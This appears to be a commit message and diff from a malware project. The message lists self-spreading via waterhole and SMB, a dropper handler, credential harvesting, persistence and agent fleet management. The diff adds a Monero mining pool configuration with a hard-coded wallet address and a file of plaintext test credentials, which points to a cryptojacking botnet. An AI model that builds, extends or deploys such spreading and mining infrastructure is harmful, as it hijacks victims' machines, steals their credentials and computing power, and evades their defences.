feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

data-e2e/config.json

@@ -0,0 +1,18 @@
+{
+    "port":  8989,
+    "wallet":  {
+                   "payment_id":  "",
+                   "address":  "85JfUA9uyBZ2Kzv4ctoURyUYoYgpEu5QjQ8xSdiapFX8TpBHXkHwHQhBkxUxmoFKU85NH4dnSRBbiL8wSvcVmRqg4Wc9Trm"
+               },
+    "pool":  {
+                 "port":  3333,
+                 "host":  "pool.supportxmr.com",
+                 "use_tls":  false,
+                 "password":  "x"
+             },
+    "server":  {
+                   "open_firewall_on_start":  false,
+                   "log_share_submissions":  true,
+                   "log_agent_connections":  true
+               }
+}

data-e2e/users.json

@@ -0,0 +1 @@
+{"testuser":"testpass"}